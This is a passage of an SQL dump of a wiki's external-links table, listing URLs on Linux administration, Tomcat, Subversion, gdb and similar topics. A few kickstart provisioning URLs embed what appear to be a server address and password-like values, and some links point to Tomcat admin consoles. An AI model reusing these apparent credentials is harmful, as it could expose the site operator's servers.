PHP/connect_mssql_database.php','http://com.webcheatsheet.www./PHP/connect_mssql_database.php'),(212,'http://support.microsoft.com/kb/138541','http://com.microsoft.support./kb/138541'),(212,'http://www.microsoft.com/downloadS/details.aspx?familyid=C243A5AE-4BD1-4E3D-94B8-5A0F62BF7796&displaylang=en','http://com.microsoft.www./downloadS/details.aspx?familyid=C243A5AE-4BD1-4E3D-94B8-5A0F62BF7796&displaylang=en'),(212,'http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=22201','http://com.sqlteam.www./forums/topic.asp?TOPIC_ID=22201'),(212,'http://nic.cdu.edu.cn/download/file/sqlserver2000/PERSONAL/X86/BINN/','http://cn.edu.cdu.nic./download/file/sqlserver2000/PERSONAL/X86/BINN/'),(212,'http://www.lithiumstudios.org/wordpress/2009/05/getting-wamp-mssql-working/','http://org.lithiumstudios.www./wordpress/2009/05/getting-wamp-mssql-working/'),(212,'http://www.apachefriends.org/en/faq-xampp-windows.html#phpmssql','http://org.apachefriends.www./en/faq-xampp-windows.html#phpmssql'),(213,'http://linux-sxs.org/internet_serving/book1.html','http://org.linux-sxs./internet_serving/book1.html'),(213,'http://www.coreservlets.com/Apache-Tomcat-Tutorial/tomcat-5.5.html','http://com.coreservlets.www./Apache-Tomcat-Tutorial/tomcat-5.5.html'),(213,'http://wiki.apache.org/tomcat/HowTo','http://org.apache.wiki./tomcat/HowTo'),(213,'http://cs.uccs.edu/~cs526/jwsdp/docs/tutorial/doc/GettingStarted.html#73863','http://edu.uccs.cs./~cs526/jwsdp/docs/tutorial/doc/GettingStarted.html#73863'),(213,'http://www.onjava.com/pub/a/onjava/2003/06/25/tomcat_tips.html','http://com.onjava.www./pub/a/onjava/2003/06/25/tomcat_tips.html'),(213,'http://www.timelordz.com:8080/admin/','http://com.timelordz.www.:8080/admin/'),(213,'http://www.timelordz.com:8080/manager/html','http://com.timelordz.www.:8080/manager/html'),(213,'http://www.timelordz.com:8080','http://com.timelordz.www.:8080/'),(213,'http://www.tummy.com/Community/Articles/tomcat-centos/tomcat5.html','http://com.tummy.www./Community/Articles/tomcat-centos/tomcat5.html'),(213,'ftp://mirror.switch.ch/pool/2/mirror/redhat/linux/enterprise/4/en/RHDS3/i386/RPMS/eclipse-ecj-3.2.0-1jpp_2rh.i386.rpm','ftp://ch.switch.mirror./pool/2/mirror/redhat/linux/enterprise/4/en/RHDS3/i386/RPMS/eclipse-ecj-3.2.0-1jpp_2rh.i386.rpm'),(213,'http://www.centos.org/modules/newbb/print.php?form=1&topic_id=9748&forum=41&order=ASC&start=0','http://org.centos.www./modules/newbb/print.php?form=1&topic_id=9748&forum=41&order=ASC&start=0'),(213,'http://wiki.centos.org/HowTos/JavaOnCentOS','http://org.centos.wiki./HowTos/JavaOnCentOS'),(213,'http://java.sun.com/products/archive/','http://com.sun.java./products/archive/'),(213,'http://forum.springsource.org/showthread.php?t=27967','http://org.springsource.forum./showthread.php?t=27967'),(213,'http://sergiy.kyrylkov.name/blog/2005/04/severe-error-listenerstart.html','http://name.kyrylkov.sergiy./blog/2005/04/severe-error-listenerstart.html'),(213,'http://www.openlaszlo.org/lps4.1/docs/installation/install-instructions.html','http://org.openlaszlo.www./lps4.1/docs/installation/install-instructions.html'),(213,'http://66.118.149.130:8080/lps-4.3.0/','http://130.149.118.66.:8080/lps-4.3.0/'),(213,'http://66.118.149.130:8080/lps-4.3.0/examples/','http://130.149.118.66.:8080/lps-4.3.0/examples/'),(214,'http://www.linuxjournal.com/article/6144','http://com.linuxjournal.www./article/6144'),(214,'http://tldp.org/HOWTO/Process-Accounting/index.html','http://org.tldp./HOWTO/Process-Accounting/index.html'),(214,'http://www.comptechdoc.org/os/linux/usersguide/linux_ugprocesses.html','http://org.comptechdoc.www./os/linux/usersguide/linux_ugprocesses.html'),(156,'http://bugs.opensolaris.org/bugdatabase/view_bug.do?bug_id=6799081','http://org.opensolaris.bugs./bugdatabase/view_bug.do?bug_id=6799081'),(156,'http://www.sun.com/blueprints/0107/820-1011.pdf','http://com.sun.www./blueprints/0107/820-1011.pdf'),(214,'http://www.gnu.org/software/acct/manual/html_mono/accounting.html#lastcomm','http://org.gnu.www./software/acct/manual/html_mono/accounting.html#lastcomm'),(214,'http://elsa.sourceforge.net/','http://net.sourceforge.elsa./'),(214,'http://tprt.sourceforge.net/','http://net.sourceforge.tprt./'),(214,'http://sourceforge.net/projects/ppacc/','http://net.sourceforge./projects/ppacc/'),(211,'http://ftp.us.debian.org/debian/dists/lenny/main/installer-i386/20090123lenny1/images/netboot/debian-installer/i386/','http://org.debian.us.ftp./debian/dists/lenny/main/installer-i386/20090123lenny1/images/netboot/debian-installer/i386/'),(216,'http://fedorasolved.org/post-install-solutions/securing-ssh','http://org.fedorasolved./post-install-solutions/securing-ssh'),(216,'http://closedsrc.org/_static/dn-articles/hosts_allow.html','http://org.closedsrc./_static/dn-articles/hosts_allow.html'),(54,'http://docs.hp.com/en/A5159-96003/apas01.html','http://com.hp.docs./en/A5159-96003/apas01.html'),(217,'http://toorcamp.org/menu.pdf','http://org.toorcamp./menu.pdf'),(218,'http://www.testdomain.com/rewrite.php','http://com.testdomain.www./rewrite.php'),(218,'http://www.wallpaperama.com/forums/how-to-test-check-if-mod-rewrite-is-enabled-t40.html','http://com.wallpaperama.www./forums/how-to-test-check-if-mod-rewrite-is-enabled-t40.html'),(204,'https://ocs.sagonet.com/ocsreports','https://com.sagonet.ocs./ocsreports'),(204,'http://ks.sagonet.com/?x=c53:::sda::cpnl:66.118.151.60:02:s4g0n3t:ocs','http://com.sagonet.ks./?x=c53:::sda::cpnl:66.118.151.60:02:s4g0n3t:ocs'),(204,'http://ks.sagonet.com/tools/ocs/ocsinventory-agent-1.0.1-2.el4.remi.noarch.rpm','http://com.sagonet.ks./tools/ocs/ocsinventory-agent-1.0.1-2.el4.remi.noarch.rpm'),(204,'http://ks.sagonet.com/tools/ocs/ocsinventory-agent-0.0.9.2-1.el5.noarch.rpm','http://com.sagonet.ks./tools/ocs/ocsinventory-agent-0.0.9.2-1.el5.noarch.rpm'),(204,'http://blog.famillecollet.com/pages/Config-en','http://com.famillecollet.blog./pages/Config-en'),(204,'http://rpms.famillecollet.com/','http://com.famillecollet.rpms./'),(204,'http://ks.sagonet.com/tools/ocs/ocsinstall.sh','http://com.sagonet.ks./tools/ocs/ocsinstall.sh'),(119,'https://bugs.launchpad.net/upstart/+bug/160150','https://net.launchpad.bugs./upstart/+bug/160150'),(119,'http://wiki.laptop.org/go/Ubuntu_On_OLPC_XO','http://org.laptop.wiki./go/Ubuntu_On_OLPC_XO'),(219,'http://www.emailmeform.com/','http://com.emailmeform.www./'),(219,'http://www.tele-pro.co.uk/scripts/contact_form/','http://uk.co.tele-pro.www./scripts/contact_form/'),(192,'http://www.workrobot.com/sysadmin/security/using_DIG.html','http://com.workrobot.www./sysadmin/security/using_DIG.html'),(192,'http://www.madboa.com/geek/dig/','http://com.madboa.www./geek/dig/'),(220,'http://allanfeid.com/content/easy-pentesting-metasploits-dbautopwn','http://com.allanfeid./content/easy-pentesting-metasploits-dbautopwn'),(220,'http://blog.metasploit.com/2006/09/metasploit-30-automated-exploitation.html','http://com.metasploit.blog./2006/09/metasploit-30-automated-exploitation.html'),(220,'http://www.linux.com/archive/feature/61609','http://com.linux.www./archive/feature/61609'),(220,'http://trac.metasploit.com/wiki/Metasploit3/InstallUbuntu','http://com.metasploit.trac./wiki/Metasploit3/InstallUbuntu'),(221,'http://www.timelordz.com/scripts/vpn/','http://com.timelordz.www./scripts/vpn/'),(108,'http://www.cyberciti.biz/tips/linux-disable-screen-blanking-screen-going-blank.html','http://biz.cyberciti.www./tips/linux-disable-screen-blanking-screen-going-blank.html'),(224,'http://tldp.org/HOWTO/SCSI-Generic-HOWTO/sg3_utils.html','http://org.tldp./HOWTO/SCSI-Generic-HOWTO/sg3_utils.html'),(224,'http://tldp.org/HOWTO/SCSI-2.4-HOWTO/mlbparams.html','http://org.tldp./HOWTO/SCSI-2.4-HOWTO/mlbparams.html'),(193,'http://www.docs.cpanel.net/twiki/pub/AllDocumentation/TrainingResources/TrainingSlides08/EximSpam.pdf','http://net.cpanel.docs.www./twiki/pub/AllDocumentation/TrainingResources/TrainingSlides08/EximSpam.pdf'),(193,'http://www.docs.cpanel.net/twiki/bin/view/AllDocumentation/AllFAQ/MailFAQ','http://net.cpanel.docs.www./twiki/bin/view/AllDocumentation/AllFAQ/MailFAQ'),(193,'http://sherwoodhosting.com/email-ftp-support/spam-bt-boxtrapper/spam-bt.html','http://com.sherwoodhosting./email-ftp-support/spam-bt-boxtrapper/spam-bt.html'),(193,'http://www.exim.org/exim-html-3.20/doc/html/spec_51.html','http://org.exim.www./exim-html-3.20/doc/html/spec_51.html'),(195,'http://66.111.32.131/cobbler/web/index','http://131.32.111.66./cobbler/web/index'),(195,'http://mirror.centos.org/centos-5/5.3/os/i386/images/pxeboot/vmlinuz','http://org.centos.mirror./centos-5/5.3/os/i386/images/pxeboot/vmlinuz'),(195,'http://mirror.centos.org/centos-5/5.3/os/i386/images/pxeboot/initrd.img','http://org.centos.mirror./centos-5/5.3/os/i386/images/pxeboot/initrd.img'),(195,'http://ftp.belnet.be/mirror/download.fedora.redhat.com/linux/releases/10/Fedora/x86_64/os/images/pxeboot/','http://be.belnet.ftp./mirror/download.fedora.redhat.com/linux/releases/10/Fedora/x86_64/os/images/pxeboot/'),(195,'http://ks.sagonet.com/?x=fc10:64::sda::cpnl:10.20.30.40:02:s4g0n3t:ocs','http://com.sagonet.ks./?x=fc10:64::sda::cpnl:10.20.30.40:02:s4g0n3t:ocs'),(195,'https://fedorahosted.org/cobbler/wiki/UsingCobblerImport','https://org.fedorahosted./cobbler/wiki/UsingCobblerImport'),(195,'https://fedorahosted.org/pipermail/cobbler/2008-July/000302.html','https://org.fedorahosted./pipermail/cobbler/2008-July/000302.html'),(195,'http://ks.sagonet.com/?x=c52:::sda::cpnl:66.118.151.60:02:password','http://com.sagonet.ks./?x=c52:::sda::cpnl:66.118.151.60:02:password'),(195,'http://vault.centos.org/5.2/os/x86_64/images/pxeboot/','http://org.centos.vault./5.2/os/x86_64/images/pxeboot/'),(225,'http://software.intel.com/en-us/articles/intel-c-compiler-for-linux-kernel-building/','http://com.intel.software./en-us/articles/intel-c-compiler-for-linux-kernel-building/'),(225,'http://software.intel.com/en-us/forums/intel-c-compiler/topic/61873/','http://com.intel.software./en-us/forums/intel-c-compiler/topic/61873/'),(225,'http://www.linuxquestions.org/questions/linux-kernel-70/compiling-2.6.26.3-with-intel-compiler-668510/','http://org.linuxquestions.www./questions/linux-kernel-70/compiling-2.6.26.3-with-intel-compiler-668510/'),(225,'http://linux.slashdot.org/article.pl?sid=09/02/26/2216241','http://org.slashdot.linux./article.pl?sid=09/02/26/2216241'),(226,'http://www.linuxjournal.com/article/10268','http://com.linuxjournal.www./article/10268'),(226,'http://prefetch.net/blog/index.php/2006/09/23/running-linux-applications-in-solaris-linux-branded-zones/','http://net.prefetch./blog/index.php/2006/09/23/running-linux-applications-in-solaris-linux-branded-zones/'),(225,'http://www.linuxjournal.com/content/linuxdna-supercharges-linux-intel-cc-compiler','http://com.linuxjournal.www./content/linuxdna-supercharges-linux-intel-cc-compiler'),(225,'http://developers.sun.com/sunstudio/documentation/techart/gc_options.html','http://com.sun.developers./sunstudio/documentation/techart/gc_options.html'),(153,'http://macles.blogspot.com/2009/03/intel-atom-and-icc-110.html','http://com.blogspot.macles./2009/03/intel-atom-and-icc-110.html'),(48,'http://www.spcollege.edu/program/WEBSDM-AS','http://edu.spcollege.www./program/WEBSDM-AS'),(48,'http://www.spjc.cc.fl.us/honorscollege/faqs.htm','http://us.fl.cc.spjc.www./honorscollege/faqs.htm'),(227,'http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/CpbackupExclude','http://net.cpanel.docs./twiki/bin/view/AllDocumentation/WHMDocs/CpbackupExclude'),(227,'http://forums.cpanel.net/f49/cpbackup-failure-permission-denied-110369.html','http://net.cpanel.forums./f49/cpbackup-failure-permission-denied-110369.html'),(222,'http://www.timelordz.com/gallery2Timelord/lib/support/index.php','http://com.timelordz.www./gallery2Timelord/lib/support/index.php'),(222,'http://www.timelordz.com/gallery2Timelord/upgrade/index.php?step=1','http://com.timelordz.www./gallery2Timelord/upgrade/index.php?step=1'),(222,'http://codex.gallery2.org/Gallery2:FAQ','http://org.gallery2.codex./Gallery2:FAQ'),(228,'http://batleth.sapienti-sat.org/projects/FAQs/ext3-faq.html','http://org.sapienti-sat.batleth./projects/FAQs/ext3-faq.html'),(228,'http://www.funtoo.org/en/articles/linux/ffg/5/','http://org.funtoo.www./en/articles/linux/ffg/5/'),(228,'http://www.tgharold.com/techblog/2007/05/ext3-tuning.shtml','http://com.tgharold.www./techblog/2007/05/ext3-tuning.shtml'),(228,'http://www.cyberciti.biz/tips/linux-convert-ext3-to-ext4-file-system.html','http://biz.cyberciti.www./tips/linux-convert-ext3-to-ext4-file-system.html'),(229,'http://opensuse.swerdna.org/suseapache.html','http://org.swerdna.opensuse./suseapache.html'),(230,'http://www.tigerheron.com/article/2008/01/eclipse-and-php','http://com.tigerheron.www./article/2008/01/eclipse-and-php'),(230,'http://www.102degrees.com/blog/2007/07/21/master-the-run-as-option-in-eclipse-pdt-with-php/','http://com.102degrees.www./blog/2007/07/21/master-the-run-as-option-in-eclipse-pdt-with-php/'),(230,'http://www.thierryb.net/pdtwiki/index.php?title=Using_PDT_:_Installation','http://net.thierryb.www./pdtwiki/index.php?title=Using_PDT_:_Installation'),(230,'http://www.thierryb.net/pdtwiki/index.php?title=Using_PDT_:_Installation_:_Installing_the_Zend_Debugger','http://net.thierryb.www./pdtwiki/index.php?title=Using_PDT_:_Installation_:_Installing_the_Zend_Debugger'),(230,'http://www.hui-wang.info/2009/05/the-current-debugger-does-not-have-any-defined-php-executables/','http://info.hui-wang.www./2009/05/the-current-debugger-does-not-have-any-defined-php-executables/'),(230,'http://www.novell.com/coolsolutions/feature/11291.html','http://com.novell.www./coolsolutions/feature/11291.html'),(230,'http://www.nusphere.com/','http://com.nusphere.www./'),(194,'http://docs.huihoo.com/opensolaris/solaris-zfs-administration-guide/html/','http://com.huihoo.docs./opensolaris/solaris-zfs-administration-guide/html/'),(231,'http://subversion.tigris.org/faq.html','http://org.tigris.subversion./faq.html'),(231,'http://wiki.centos.org/HowTos/Subversion','http://org.centos.wiki./HowTos/Subversion'),(231,'http://ilovett.com/blog/projects/setting-up-subversion','http://com.ilovett./blog/projects/setting-up-subversion'),(231,'http://www.howforge.com/how-install-subversion-centos-4-5','http://com.howforge.www./how-install-subversion-centos-4-5'),(231,'http://subclipse.tigris.org/','http://org.tigris.subclipse./'),(231,'http://localhost/svn/repos/phpclass','http://localhost./svn/repos/phpclass'),(231,'http://www.abbeyworkshop.com/howto/misc/svn01/','http://com.abbeyworkshop.www./howto/misc/svn01/'),(231,'http://66.118.149.130/svn/repos/phpclass','http://130.149.118.66./svn/repos/phpclass'),(231,'http://localhost/svn_dir/repository/project_dir','http://localhost./svn_dir/repository/project_dir'),(231,'http://agile.csc.ncsu.edu/SEMaterials/tutorials/subclipse/index.html','http://edu.ncsu.csc.agile./SEMaterials/tutorials/subclipse/index.html'),(231,'http://agile.csc.ncsu.edu/SEMaterials/tutorials/index.php','http://edu.ncsu.csc.agile./SEMaterials/tutorials/index.php'),(232,'http://www.brandonhutchinson.com/When_does_my_certificate_expire%3F.html','http://com.brandonhutchinson.www./When_does_my_certificate_expire%3F.html'),(231,'http://phpsecurity.wordpress.com/2007/11/12/subversion-a-security-risk/','http://com.wordpress.phpsecurity./2007/11/12/subversion-a-security-risk/'),(233,'http://wiki.sabayonlinux.org/index.php?title=HOWTO:_UUID_and_Volumes','http://org.sabayonlinux.wiki./index.php?title=HOWTO:_UUID_and_Volumes'),(233,'http://episteme.arstechnica.com/eve/forums/a/tpc/f/96509133/m/390006298931','http://com.arstechnica.episteme./eve/forums/a/tpc/f/96509133/m/390006298931'),(233,'http://wiki.archlinux.org/index.php/Persistent_block_device_naming','http://org.archlinux.wiki./index.php/Persistent_block_device_naming'),(231,'http://www.sitepoint.com/blogs/2006/02/07/using-svn-for-web-development/','http://com.sitepoint.www./blogs/2006/02/07/using-svn-for-web-development/'),(230,'http://www.zend.com/community/pdt','http://com.zend.www./community/pdt'),(230,'http://www.thetricky.net/php/php-development-in-eclipse','http://net.thetricky.www./php/php-development-in-eclipse'),(234,'http://docs.hp.com/en/SFSUGG32-B/ch04s03.html','http://com.hp.docs./en/SFSUGG32-B/ch04s03.html'),(234,'http://thuannvn.blogspot.com/2009/04/building-lustre-1651-against-latest.html','http://com.blogspot.thuannvn./2009/04/building-lustre-1651-against-latest.html'),(234,'http://wiki.lustre.org/index.php/LibLustre_How-To_Guide','http://org.lustre.wiki./index.php/LibLustre_How-To_Guide'),(234,'http://wiki.lustre.org/index.php/Main_Page','http://org.lustre.wiki./index.php/Main_Page'),(234,'http://robinhood.sourceforge.net/','http://net.sourceforge.robinhood./'),(234,'http://ks.sagonet.com/tools/lustre/Lustre-Quick-Start-Blueprint.pdf','http://com.sagonet.ks./tools/lustre/Lustre-Quick-Start-Blueprint.pdf'),(234,'http://lists.lustre.org/mailman/options/lustre-discuss/peby@sagonet.com','http://org.lustre.lists./mailman/options/lustre-discuss/peby@sagonet.com'),(234,'http://wiki.lustre.org/index.php?title=Lustre_FAQ','http://org.lustre.wiki./index.php?title=Lustre_FAQ'),(234,'http://ks.sagonet.com/tools/lustre/install-lustre.sh','http://com.sagonet.ks./tools/lustre/install-lustre.sh'),(234,'http://collectl.sourceforge.net/','http://net.sourceforge.collectl./'),(231,'http://svnbook.red-bean.com/','http://com.red-bean.svnbook./'),(179,'https://help.ubuntu.com/community/DataRecovery','https://com.ubuntu.help./community/DataRecovery'),(179,'http://www.gnu.org/software/ddrescue/ddrescue.html','http://org.gnu.www./software/ddrescue/ddrescue.html'),(170,'http://blogs.sun.com/stevewilson/entry/what_s_up_with_xvm','http://com.sun.blogs./stevewilson/entry/what_s_up_with_xvm'),(170,'http://malsserver.blogspot.com/2008/08/installing-xvm.html','http://com.blogspot.malsserver./2008/08/installing-xvm.html'),(170,'http://trevoro.ca/blog/2008/05/07/getting-xvm-to-work-in-opensolaris-200805/','http://ca.trevoro./blog/2008/05/07/getting-xvm-to-work-in-opensolaris-200805/'),(170,'http://blogs.sun.com/ptelles/entry/sun_xvm_hypervisor_part_i','http://com.sun.blogs./ptelles/entry/sun_xvm_hypervisor_part_i'),(131,'http://www.binarykarma.com/download_items/release1/BK_xen_services-1.0.tar.bz2','http://com.binarykarma.www./download_items/release1/BK_xen_services-1.0.tar.bz2'),(131,'http://www.binarykarma.com/download_items/release1/BK_vkarma_backend-1.0.tar.bz2','http://com.binarykarma.www./download_items/release1/BK_vkarma_backend-1.0.tar.bz2'),(131,'http://www.binarykarma.com/download_items/release1/BK_openvz_services-1.0.tar.bz2','http://com.binarykarma.www./download_items/release1/BK_openvz_services-1.0.tar.bz2'),(131,'http://65.110.52.90:8086','http://90.52.110.65.:8086/'),(131,'http://wiki.fluidvm.com/index.php?title=FluidVM_FAQs','http://com.fluidvm.wiki./index.php?title=FluidVM_FAQs'),(235,'http://cache-resolver01.tpa.sagonet.net:3636','http://net.sagonet.tpa.cache-resolver01.:3636/'),(235,'https://bugzilla.redhat.com/show_bug.cgi?id=455802','https://com.redhat.bugzilla./show_bug.cgi?id=455802'),(235,'http://rhn.redhat.com/errata/RHBA-2009-1420.html','http://com.redhat.rhn./errata/RHBA-2009-1420.html'),(235,'http://ks.sagonet.com/tools/bind9.3.6/updatebind.sh','http://com.sagonet.ks./tools/bind9.3.6/updatebind.sh'),(236,'http://www.gidforums.com/t-5159.html?highlight=memory+access','http://com.gidforums.www./t-5159.html?highlight=memory+access'),(236,'http://www.informit.com/articles/article.aspx?p=173438','http://com.informit.www./articles/article.aspx?p=173438'),(236,'http://dirac.org/linux/gdb/index.php','http://org.dirac./linux/gdb/index.php'),(236,'http://dirac.org/linux/gdb/02a-Memory_Layout_And_The_Stack.php','http://org.dirac./linux/gdb/02a-Memory_Layout_And_The_Stack.php'),(236,'http://www.ibm.com/developerworks/library/l-gdb/','http://com.ibm.www./developerworks/library/l-gdb/'),(236,'http://www.linuxtopia.org/online_books/redhat_linux_debugging_with_gdb/index.html','http://org.linuxtopia.www./online_books/redhat_linux_debugging_with_gdb/index.html'),(236,'http://sources.redhat.com/gdb/current/onlinedocs/gdb_toc.html#SEC_Contents','http://com.redhat.sources./gdb/current/onlinedocs/gdb_toc.html#SEC_Contents'),(236,'http://cboard.cprogramming.com/cplusplus-programming/119066-info-symbol-gdb.html','http://com.cprogramming.cboard./cplusplus-programming/119066-info-symbol-gdb.html'),(236,'http://ubuntuforums.org/showthread.php?t=989488','http://org.ubuntuforums./showthread.php?t=989488'),(236,'http://www.linuxquestions.org/questions/programming-9/find-physical-address-of-memory-provided-by-kmalloc-763857/#post3730190','http://org.linuxquestions.www./questions/programming-9/find-physical-address-of-memory-provided-by-kmalloc-763857/#post3730190'),(237,'http://www.willowspring-sanctuary.org/contact.html','http://org.willowspring-sanctuary.www./contact.html'),(237,'http://paganwiccan.about.com/od/contemporaryissues/a/Bartlett_Interv.htm','http://com.about.paganwiccan./od/contemporaryissues/a/Bartlett_Interv.htm'),(237,'http://www.rawstory.com/news/2007/Wiccan_lottery_winner_plans_to_open_1030.html','http://com.rawstory.www./news/2007/Wiccan_lottery_winner_plans_to_open_1030.html'),(236,'http://en.wikipedia.org/wiki/Uninitialized_variable','http://org.wikipedia.en./wiki/Uninitialized_variable'),(236,'http://www.learncpp.com/cpp-programming/eight-c-programming-mistakes-the-compiler-wont-catch/','http://com.learncpp.www./cpp-programming/eight-c-programming-mistakes-the-compiler-wont-catch/'),(236,'http://www.network-theory.co.uk/docs/gccintro/index.html','http://uk.co.network-theory.www./docs/gccintro/index.html'),(236,'http://books.google.com/books?id=wQ6r3UTivJgC&pg=PA6&lpg=PA6&dq=gcc+ansi+compile+compliance&source=bl&ots=EJXoVq8ELt&sig=7vVJ6pX88rzPUlp4q733oY2BtIw&hl=en&ei=0YDcSoOSCs_O8Qa3ioy3BQ&sa=X&oi=book_result&ct=result&resnum=3&ved=0CBMQ6AEwAg#v=onepage&q=gcc%20ansi%20compile%20compliance&f=false','http://com.google.books./books?id=wQ6r3UTivJgC&pg=PA6&lpg=PA6&dq=gcc+ansi+compile+compliance&source=bl&ots=EJXoVq8ELt&sig=7vVJ6pX88rzPUlp4q733oY2BtIw&hl=en&ei=0YDcSoOSCs_O8Qa3ioy3BQ&sa=X&oi=book_result&ct=result&resnum=3&ved=0CBMQ6AEwAg#v=onepage&q=gcc%20ansi%20compile%20compliance&f=false'),(236,'http://www.informit.com/store/product.aspx?isbn=0131429647','http://com.informit.www./store/product.aspx?isbn=0131429647'),(236,'http://virtualthreads.blogspot.com/2006/02/understanding-memory-usage-on-linux.html','http://com.blogspot.virtualthreads./2006/02/understanding-memory-usage-on-linux.html'),(236,'http://www.slideshare.net/udekel/introduction-to-pointers-and-memory-management-in-c','http://net.slideshare.www./udekel/introduction-to-pointers-and-memory-management-in-c'),(236,'http://steve.hollasch.net/cgindex/coding/ieeefloat.html','http://net.hollasch.steve./cgindex/coding/ieeefloat.html'),(132,'http://hub.opensolaris.org/bin/view/Project+dtrace-chime/install','http://org.opensolaris.hub./bin/view/Project+dtrace-chime/install'),(132,'http://hub.opensolaris.org/bin/view/Project+dtrace-chime/','http://org.opensolaris.hub./bin/view/Project+dtrace-chime/'),(132,'http://blogs.sun.com/brushmore/entry/chime_demo','http://com.sun.blogs./brushmore/entry/chime_demo'),(240,'http://flightphysical.com/addmap2.cgi?12171','http://com.flightphysical./addmap2.cgi?12171'),(240,'http://www.remos.com/','http://com.remos.www./'),(221,'http://www.lamnk.com/blog/vpn/how-to-install-cisco-vpn-client-on-ubuntu-jaunty-jackalope-and-karmic-koala-64-bit/','http://com.lamnk.www./blog/vpn/how-to-install-cisco-vpn-client-on-ubuntu-jaunty-jackalope-and-karmic-koala-64-bit/'),(221,'http://forum.tuxx-home.at/viewtopic.php?f=15&t=790&sid=0f466816287ec0ec3941772532ab725e','http://at.tuxx-home.forum./viewtopic.php?f=15&t=790&sid=0f466816287ec0ec3941772532ab725e'),(241,'http://www.hidpoint.com','http://com.hidpoint.www./'),(241,'http://keytouch.sourceforge.net/','http://net.sourceforge.keytouch./'),(241,'https://bugs.launchpad.net/ubuntu/+source/linux/+bug/215035','https://net.launchpad.bugs./ubuntu/+source/linux/+bug/215035'),(241,'http://g15daemon.sourceforge.net','http://net.sourceforge.g15daemon./'),(242,'http://www.mathsisfun.com/pascals-triangle.html','http://com.mathsisfun.www./pascals-triangle.html'),(242,'http://www.mathsisfun.com/data/quincunx.html','http://com.mathsisfun.www./data/quincunx.html'),(242,'http://ww2.cs.mu.oz.au/~lee/papers/pascal/','http://au.oz.mu.cs.ww2./~lee/papers/pascal/'),(242,'http://cas.umkc.edu/math/ExtraCaption.asp','http://edu.umkc.cas./math/ExtraCaption.asp'),(241,'http://www.novell.com/coolsolutions/tip/2289.html','http://com.novell.www./coolsolutions/tip/2289.html'),(243,'http://ubuntu-tutorials.com/2009/03/22/how-to-convert-vmware-image-vmdk-to-virtualbox-image-vdi/','http://com.ubuntu-tutorials./2009/03/22/how-to-convert-vmware-image-vmdk-to-virtualbox-image-vdi/'),(243,'http://www.kernelhardware.org/how-to-move-virtualbox-guest-vm/','http://org.kernelhardware.www./how-to-move-virtualbox-guest-vm/'),(241,'http://www.ollisalonen.com/btnx/','http://com.ollisalonen.www./btnx/'),(241,'http://ubuntuforums.org/showthread.php?t=455656','http://org.ubuntuforums./showthread.php?t=455656'),(241,'http://cad.cx/blog/2008/04/25/howto-install-btnx-for-better-mouse-control-in-ubuntu-hardy/','http://cx.cad./blog/2008/04/25/howto-install-btnx-for-better-mouse-control-in-ubuntu-hardy/'),(244,'http://www.samsung.com/us/support/detail/supportPrdDetail.do?menu=SP01&prd_ia_cd=02010100&prd_mdl_cd=LN46B640R3FUZA&prd_mdl_name=LN46B640R3F','http://com.samsung.www./us/support/detail/supportPrdDetail.do?menu=SP01&prd_ia_cd=02010100&prd_mdl_cd=LN46B640R3FUZA&prd_mdl_name=LN46B640R3F'),(244,'http://www.samsung.com/global/opensource/','http://com.samsung.www./global/opensource/'),(244,'https://sourceforge.net/apps/mediawiki/samygo/index.php','https://net.sourceforge./apps/mediawiki/samygo/index.php'),(244,'http://linux.zsolttech.com/Samsung/','http://com.zsolttech.linux./Samsung/'),(244,'http://samsungdlna.wordpress.com/projects/firmware-upgrade-testing/','http://com.wordpress.samsungdlna./projects/firmware-upgrade-testing/'),(244,'http://mediatomb.cc/','http://cc.mediatomb./'),(244,'http://www.samsung.com/us/support/detail/supportPrdDetail.do?menu=SP01&prd_ia_cd=02010100&prd_mdl_cd=&prd_mdl_name=LN46B650T1F','http://com.samsung.www./us/support/detail/supportPrdDetail.do?menu=SP01&prd_ia_cd=02010100&prd_mdl_cd=&prd_mdl_name=LN46B650T1F'),(245,'http://arduino.cc/en','http://cc.arduino./en'),(245,'http://www.curiousinventor.com/','http://com.curiousinventor.www./'),(194,'http://opensolaris.org/jive/message.jspa?messageID=247221','http://org.opensolaris./jive/message.jspa?messageID=247221'),(246,'http://www.mail-archive.com/ubuntu-bugs@lists.ubuntu.com/msg1882408.html','http://com.mail-archive.www./ubuntu-bugs@lists.ubuntu.com/msg1882408.html'),(246,'https://bugs.launchpad.net/ubuntu/+source/linux-source-2.6.17/+bug/60764','https://net.launchpad.bugs./ubuntu/+source/linux-source-2.6.17/+bug/60764'),(48,'http://www.ratemyprofessors.com/SelectTeacher.jsp?sid=2880','http://com.ratemyprofessors.www./SelectTeacher.jsp?sid=2880'),(247,'http://stackoverflow.com/questions/79023/c-gdb-gui','http://com.stackoverflow./questions/79023/c-gdb-gui'),(247,'http://www.gnu.org/software/ddd/','http://org.gnu.www./software/ddd/'),(247,'http://download.eclipse.org/tools/cdt/docs/tutorials/debug_tutorial/cdt_w_debug.htm','http://org.eclipse.download./tools/cdt/docs/tutorials/debug_tutorial/cdt_w_debug.htm'),(247,'http://www.ibm.com/developerworks/library/os-eclipse-cdt-debug2/index.html','http://com.ibm.www./developerworks/library/os-eclipse-cdt-debug2/index.html'),(247,'http://sourceware.org/insight/','http://org.sourceware./insight/'),(247,'http://en.wikipedia.org/wiki/GNAT_Programming_Studio','http://org.wikipedia.en./wiki/GNAT_Programming_Studio'),(247,'http://libre.adacore.com/libre/tools/gps/','http://com.adacore.libre./libre/tools/gps/'),(247,'http://www.wingdb.com/wingdb_screenshots.htm','http://com.wingdb.www./wingdb_screenshots.htm'),(236,'http://timelordz.com/wiki/index.php/Graphical_Debugging_Tools','http://com.timelordz./wiki/index.php/Graphical_Debugging_Tools'),(247,'http://www.linuxfocus.org/English/January1998/article20.html','http://org.linuxfocus.www./English/January1998/article20.html'),(48,'http://www.bkstr.com/webapp/wcs/stores/servlet/HelpStoreInfoView?langId=-1&catalogId=10001&storeId=17804&demoKey=d#hours','http://com.bkstr.www./webapp/wcs/stores/servlet/HelpStoreInfoView?langId=-1&catalogId=10001&storeId=17804&demoKey=d#hours'),(168,'http://blog.fili.nl/articles/the-anti-captcha-challenge/','http://nl.fili.blog./articles/the-anti-captcha-challenge/'),(168,'http://wordpress.org/extend/plugins/si-captcha-for-wordpress/','http://org.wordpress./extend/plugins/si-captcha-for-wordpress/'),(248,'http://wiki.sagonet.com/wiki/Smart_Test','http://com.sagonet.wiki./wiki/Smart_Test'),(248,'http://freshmeat.net/projects/sdparm','http://net.freshmeat./projects/sdparm'),(248,'http://ks.sagonet.co